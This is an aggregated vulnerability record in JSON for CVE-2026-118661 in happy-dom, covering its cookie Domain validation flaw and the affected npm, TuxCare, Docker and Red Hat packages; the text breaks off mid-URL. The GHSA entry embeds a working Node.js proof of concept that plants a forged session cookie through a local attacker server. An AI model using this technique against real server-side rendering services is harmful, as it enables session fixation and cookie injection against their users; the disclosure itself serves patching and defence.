{"id":"CVE-2026-118661","aliases":["DHI-and3-u7qm-xo5k-ptmd","GHSA-5fpq-26gf-qwcr"],"summary":"Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","published_at":"2026-10-28T20:30:23.868Z","modified_at":"2026-11-16T02:34:45.296536Z","products":[{"slug":"rhel","name":"Red Hat Enterprise Linux","category":"red-hat"}],"rating":{"severity":"medium","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.0027199999894946814,"percentile":0.19836999475955963,"date":"2026-11-18T00:00:00Z"},"priority":8.5,"details":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.","affected_stack":[{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118661","relation":"self"},{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118661","relation":"self"}],"affected_other":[{"ecosystem":"CVE","package":"capricorn86/happy-dom","versions":["< 20.14.6"],"provider":"cvelistv5","source":"CVE-2026-118661","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18","purl":"pkg:deb/dhi/teleport-18","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-dev","purl":"pkg:deb/dhi/teleport-18-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips","purl":"pkg:deb/dhi/teleport-18-fips","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips-dev","purl":"pkg:deb/dhi/teleport-18-fips-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.12.0-tuxcare.0"},{"fixed":"20.12.0-tuxcare.2"}]}],"versions":["20.12.0","20.12.0-tuxcare.1"],"fixed":["20.12.0-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793700814","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.2"}]}],"versions":["9.10.9","9.10.9-tuxcare.1"],"fixed":["9.10.9-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793974322","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.6"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3","9.20.3-tuxcare.4","9.20.3-tuxcare.5"],"fixed":["9.20.3-tuxcare.6"],"provider":"osv","source":"CLSA-2026-1793974458","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.12.3-tuxcare.0"},{"fixed":"14.12.3-tuxcare.3"}]}],"versions":["14.12.3","14.12.3-tuxcare.1","14.12.3-tuxcare.2"],"fixed":["14.12.3-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793974549","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.5"}]}],"versions":["15.11.7","15.11.7-tuxcare.1","15.11.7-tuxcare.2","15.11.7-tuxcare.3","15.11.7-tuxcare.4"],"fixed":["15.11.7-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793974658","relation":"upstream"},{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.3"}]}],"versions":["20.8.8","20.8.8-tuxcare.1","20.8.8-tuxcare.2"],"fixed":["20.8.8-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793981813","relation":"upstream"},{"ecosystem":"npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"20.14.6"}]}],"fixed":["20.14.6"],"provider":"osv","source":"GHSA-5fpq-26gf-qwcr","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/gateway-rhel9","ansible-automation-platform-27/gateway-rhel9","automation-platform-ui"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-118661"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["automation-gateway"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-118661"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-feature-server-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-118661"}],"records":[{"provider":"osv","source_id":"CLSA-2026-1793700814","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793700814","published_at":"2026-11-03T11:13:35Z","modified_at":"2026-11-03T13:30:04.059695Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.12.0-tuxcare.2.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.12.0-tuxcare.0"},{"fixed":"20.12.0-tuxcare.2"}]}],"versions":["20.12.0","20.12.0-tuxcare.1"],"fixed":["20.12.0-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793700814","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974322","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974322","published_at":"2026-11-06T15:12:03Z","modified_at":"2026-11-06T19:00:04.387927Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.10.9-tuxcare.2.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.2"}]}],"versions":["9.10.9","9.10.9-tuxcare.1"],"fixed":["9.10.9-tuxcare.2"],"provider":"osv","source":"CLSA-2026-1793974322","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974458","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974458","published_at":"2026-11-06T15:14:19Z","modified_at":"2026-11-06T19:00:03.376785Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 9.20.3-tuxcare.6.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.6"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3","9.20.3-tuxcare.4","9.20.3-tuxcare.5"],"fixed":["9.20.3-tuxcare.6"],"provider":"osv","source":"CLSA-2026-1793974458","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974549","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974549","published_at":"2026-11-06T15:15:50Z","modified_at":"2026-11-06T19:00:03.387649Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 14.12.3-tuxcare.3.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.12.3-tuxcare.0"},{"fixed":"14.12.3-tuxcare.3"}]}],"versions":["14.12.3","14.12.3-tuxcare.1","14.12.3-tuxcare.2"],"fixed":["14.12.3-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793974549","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793974658","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793974658","published_at":"2026-11-06T15:17:39Z","modified_at":"2026-11-06T19:00:03.394776Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.5.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.5"}]}],"versions":["15.11.7","15.11.7-tuxcare.1","15.11.7-tuxcare.2","15.11.7-tuxcare.3","15.11.7-tuxcare.4"],"fixed":["15.11.7-tuxcare.5"],"provider":"osv","source":"CLSA-2026-1793974658","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"CLSA-2026-1793981813","relation":"upstream","url":"https://osv.dev/vulnerability/CLSA-2026-1793981813","published_at":"2026-11-06T17:16:54Z","modified_at":"2026-11-06T19:00:02.357632Z","summary":"TuxCare security update for happy-dom (2 CVEs)","details":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 20.8.8-tuxcare.3.","severity":[],"affected":[{"ecosystem":"TuxCare:npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.3"}]}],"versions":["20.8.8","20.8.8-tuxcare.1","20.8.8-tuxcare.2"],"fixed":["20.8.8-tuxcare.3"],"provider":"osv","source":"CLSA-2026-1793981813","relation":"upstream"}],"product_status":[],"references":[]},{"provider":"cvelistv5","source_id":"CVE-2026-118661","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-118661","license":"CC-BY-4.0","published_at":"2026-10-28T20:30:23.868Z","modified_at":"2026-11-03T13:33:35.617Z","summary":"Happy DOM: Cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","details":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"CVE-2026-118661"}],"affected":[{"ecosystem":"CVE","package":"capricorn86/happy-dom","versions":["< 20.14.6"],"provider":"cvelistv5","source":"CVE-2026-118661","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2477"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"}]},{"provider":"osv","source_id":"DHI-and3-u7qm-xo5k-ptmd","relation":"self","url":"https://osv.dev/vulnerability/DHI-and3-u7qm-xo5k-ptmd","license":"Apache-2.0","published_at":"2026-11-13T01:03:39Z","modified_at":"2026-11-16T02:34:45.296536Z","summary":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy…","details":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 20.14.6, Happy DOM's CookieContainer in src/cookie/CookieContainer.ts does not correctly validate or match Domain cookie attributes. It can accept a Domain unrelated to the origin setting the cookie, including a public suffix, and separately treats an unrelated suffix-sharing hostname as a match because cookieMatchesURL does not enforce a DNS-label boundary. In server-side rendering and prerendering applications that contact attacker-controlled origins and then make requests to a victim origin, these behaviors can plant and deliver a forged cookie, enabling cookie injection or session fixation. This issue is fixed in version 20.14.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"DHI-and3-u7qm-xo5k-ptmd"}],"affected":[{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18","purl":"pkg:deb/dhi/teleport-18","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-dev","purl":"pkg:deb/dhi/teleport-18-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips","purl":"pkg:deb/dhi/teleport-18-fips","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"teleport-18-fips-dev","purl":"pkg:deb/dhi/teleport-18-fips-dev","versions":["18.11.1-10","18.11.1-11","18.11.1-12","18.11.1-13","18.11.1-14","18.11.1-15","18.11.1-16","18.11.1-17","18.11.1-2","18.11.1-3","18.11.1-4","18.11.1-5","18.11.1-6","18.11.1-7","18.11.1-8","18.11.1-9"],"provider":"osv","source":"DHI-and3-u7qm-xo5k-ptmd","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-and3-u7qm-xo5k-ptmd"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118661"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"ADVISORY","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"FIX","url":"https://github.com/capricorn86/happy-dom/pull/2477"},{"type":"FIX","url":"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"}]},{"provider":"osv","source_id":"GHSA-5fpq-26gf-qwcr","relation":"self","url":"https://osv.dev/vulnerability/GHSA-5fpq-26gf-qwcr","license":"CC-BY-4.0","published_at":"2026-10-28T21:06:13Z","modified_at":"2026-10-28T21:15:05.09502Z","summary":"Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies","details":"### Summary\nA cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.\n\n### Details\nhappy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.\n\n### PoC\n\nRun:\n```bash\nnode poc-happydom-cookie-domain.js\n```\n\nFull proof-of-concept source (poc-happydom-cookie-domain.js):\n```js\n// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation\n// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)\n//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)\n//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)\n//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie\n// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\nconst ATK_PORT = 19311; // attacker server, 127.0.0.1\nconst VIC_PORT = 19312; // victim server, localhost\n\nlet victimReceivedCookies = [];\n\nlet attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;\n\nconst attacker = http.createServer((req, res) => {\n  if (req.method === 'OPTIONS') {\n    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the\n    // attacker trivially answers it — an attacker-controlled server always can)\n    res.writeHead(204, {\n      'Access-Control-Allow-Origin': '*',\n      'Access-Control-Allow-Methods': 'GET, OPTIONS',\n      'Access-Control-Allow-Headers': '*'\n    });\n    res.end();\n    return;\n  }\n  res.writeHead(200, {\n    'content-type': 'image/gif',\n    'Access-Control-Allow-Origin': '*',\n    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.\n    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of\n    // the request-host; localhost is also on the Mozilla PSL).\n    'Set-Cookie': attackerSetCookie\n  });\n  res.end('GIF89a');\n});\n\nconst victim = http.createServer((req, res) => {\n  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });\n  res.writeHead(200, { 'content-type': 'application/json' });\n  res.end(JSON.stringify({ ok: true, user: 'alice' }));\n});\n\nfunction sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }\n\nasync function runScenario(scenario) {\n  victimReceivedCookies = [];\n  const win = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: {\n      enableJavaScriptEvaluation: true,\n      suppressInsecureJavaScriptEnvironmentWarning: true\n    }\n  });\n  try {\n    if (scenario === 'no-plant-control') {\n      // Control: app NEVER contacts attacker -> victim must receive NO cookie\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else if (scenario === 'honest-domain-control') {\n      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)\n      // -> cookie must NOT leak to localhost victim\n      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    } else {\n      // attack: app fetches attacker content (scraping/SSR/third-party resource)\n      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);\n      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);\n    }\n    await sleep(150);\n    return victimReceivedCookies;\n  } finally {\n    win.happyDOM.abort();\n  }\n}\n\nasync function main() {\n  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));\n  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));\n\n  console.log('=== happy-dom cookie-domain scoping PoC ===\\n');\n\n  const attack = await runScenario('attack');\n  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');\n  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));\n  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);\n\n  const noPlant = await runScenario('no-plant-control');\n  console.log('\\n[CONTROL] app never contacts attacker');\n  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  const honest = await runScenario('honest-domain-control');\n  console.log('\\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');\n  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));\n\n  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)\n  const win2 = new Window({\n    url: `http://localhost:${VIC_PORT}/`,\n    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }\n  });\n  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!\n  const readBack = win2.document.cookie;\n  console.log(`\\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);\n  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);\n  win2.happyDOM.abort();\n\n  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)\n  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');\n  const matchesBoundary = CookieURLUtility.cookieMatchesURL(\n    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },\n    new URL('https://notexample.com/')\n  );\n  console.log(`\\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);\n  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);\n\n  attacker.close();\n  victim.close();\n  process.exit(0);\n}\n\nmain().catch((e) => { console.error(e); process.exit(1); });\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true\n  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match\n```\n\n### Impact\nCookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"GHSA-5fpq-26gf-qwcr"}],"affected":[{"ecosystem":"npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"20.14.6"}]}],"fixed":["20.14.6"],"provider":"osv","source":"GHSA-5fpq-26gf-qwcr","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2477"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"}]},{"provider":"redhat-vex","source_id":"CVE-2026-118661","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-118661","license":"CC-BY-4.0","published_at":"2026-10-28T20:30:23.868Z","modified_at":"2026-10-29T14:20:02Z","summary":"happy-dom: happy-dom: Cookie injection via improper cookie domain validation","details":"A flaw was found in happy-dom. The cookie management component fails to properly validate and match domain attributes, allowing it to accept cookies for unrelated domains and match hostnames without enforcing domain boundaries. In server-side rendering environments, a remote attacker controlling a malicious origin can plant forged cookies that are subsequently sent to victim domains. This flaw can enable cookie injection and session fixation, potentially compromising user sessions.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"CVE-2026-118661"},{"type":"Red Hat","score":"Moderate","source":"CVE-2026-118661"}],"affected":[{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-gateway","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118661","relation":"self"},{"ecosystem":"Red Hat:ansible_automation_platform:2","package":"automation-platform-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2026-118661","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["ansible-automation-platform-26/gateway-rhel9","ansible-automation-platform-27/gateway-rhel9","automation-platform-ui"],"package_count":3,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-118661"},{"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","cpe":"cpe:/a:redhat:ansible_automation_platform:2","status":"affected","packages":["automation-gateway"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2026-118661"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-feature-server-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Fix deferred","provider":"redhat-vex","source":"CVE-2026-118661"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-118661.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-118661"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2563189"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-118661"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118661"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2477"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"}]}],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/pull/2477"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f21dbd7d0a0c63cdd41954ba5d0f05def4e0f2b3"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.14.6"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-and3-u7qm-xo5k-ptmd"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118661"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5fpq-26gf-qwcr"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-118661.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-118661"},{"type":"WEB","url":"https://bugzilla.redhat